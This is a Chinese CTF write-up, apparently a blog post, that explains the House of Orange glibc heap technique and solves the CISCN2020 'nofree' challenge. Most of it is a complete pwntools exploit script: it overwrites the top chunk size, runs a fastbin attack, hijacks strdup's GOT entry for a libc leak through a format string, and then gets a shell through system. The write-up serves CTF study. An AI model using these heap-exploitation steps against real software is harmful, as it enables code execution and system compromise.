【八芒星计划】 House of Orange

24 篇文章 1 订阅


前言

House of Orange是一种用来应对heap题中没有free的情况的方法,通过把top chunk的size改小,然后申请一个大于topchunk的size的chunk来把旧的top chunk放入bin中(可以是fastbin,也可以是unsortedbin)

使用条件有:
①可以修改topchunk的size
②伪造的 size 必须要对齐到内存页
③size 要大于 MINSIZE(0x10)
④size 要小于之后申请的 chunk size + MINSIZE(0x10)
⑤size 的 prev inuse 位必须为 1
其中第二点要特别注意,这导致了我们修改topchunk的size的时候要注意4k对齐,也就是

假如在覆盖之前 top chunk 的 size 大小是 20fe1,地址是0x602020,通过计算得知
0x602020+0x20fe0=0x623000 是对于 0x1000(4kb)对齐的

所以我们伪造的size加上地址也要4k对齐,一般是0x0fe1、0x1fe1、0x2fe1、0x3fe1、0xfe1

CISCN2020 nofree

本题的条件:
①有add和edit
②可以申请假的size,而实际分配的堆块大小是由content决定的(使用strdup进行分配的内存)
③可以修改got表,没开pie
记一下:got是6开头的,plt是4开头的

add(0, 0x28, 'aa')
edit(0, 'a'*0x18+p64(0xfe1))

这样就完成了topchunk的size的更改

for i in range(24):
    add(0, 0x90, 'a'*0x90)
add(0, 0x90, 'a'*0x30)
add(1, 0x90, 'a'*0x90)

因为本题最大chunk是0x90,所以不断申请chunk,最后把topchunk放入fastbin

在这里插入图片描述

edit(0, 'a'*0x38+p64(0x81)+p64(0x6021c0))
add(0, 0x81, 'a'*0x77)
add(0, 0x81, 'a'*0x77)
edit(0, p64(strdup_got)+p64(0x81))
edit(1, p64(printf_plt))

修改fd为heap_list的地址,然后fastbin attack,然后我们就可以修改chunk1的user data的地址了,我们把它修改为strdup的地址,然后把strdup改成printf,制造格式化字符串漏洞
在这里插入图片描述

add(2, 0x18, '%17$p')
libc_base = int(rc(14), 16) - libc.sym['__libc_start_main'] - 240
info('libc_base', libc_base)
system = libc_base + libc.sym['system']
edit(1, p64(system))
add(2, 0x18, 'sh')

泄漏libc,然后再把strdup改成system,getshell

完整exp:

from pwn import *
from LibcSearcher import * 

local_file  = './pwn'
local_libc  = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
remote_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'

select = 0

if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('', )
    libc = ELF(remote_libc)

elf = ELF(local_file)

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims 			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
def debug(cmd=''):
     gdb.attach(r,cmd)

def menu(choice):
    sea('choice>> ', str(choice))
def add(index, size, content):
    menu(1)
    sea('idx: ', str(index))
    sea('size: ', str(size))
    sea('content: ', content)
def edit(index, content):
    menu(2)
    sea('idx: ', str(index))
    sea('content: ', content)
printf_plt = 0x400700
strdup_got = 0x602068
add(0, 0x28, 'aa')
edit(0, 'a'*0x18+p64(0xfe1))
for i in range(24):
    add(0, 0x90, 'a'*0x90)
add(0, 0x90, 'a'*0x30)
add(1, 0x90, 'a'*0x90)
edit(0, 'a'*0x38+p64(0x81)+p64(0x6021c0))
add(0, 0x81, 'a'*0x77)
add(0, 0x81, 'a'*0x77)
edit(0, p64(strdup_got)+p64(0x81))
edit(1, p64(printf_plt))
add(2, 0x18, '%17$p')
libc_base = int(rc(14), 16) - libc.sym['__libc_start_main'] - 240
info('libc_base', libc_base)
system = libc_base + libc.sym['system']
edit(1, p64(system))
add(2, 0x18, 'sh')
r.interactive()

总结

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值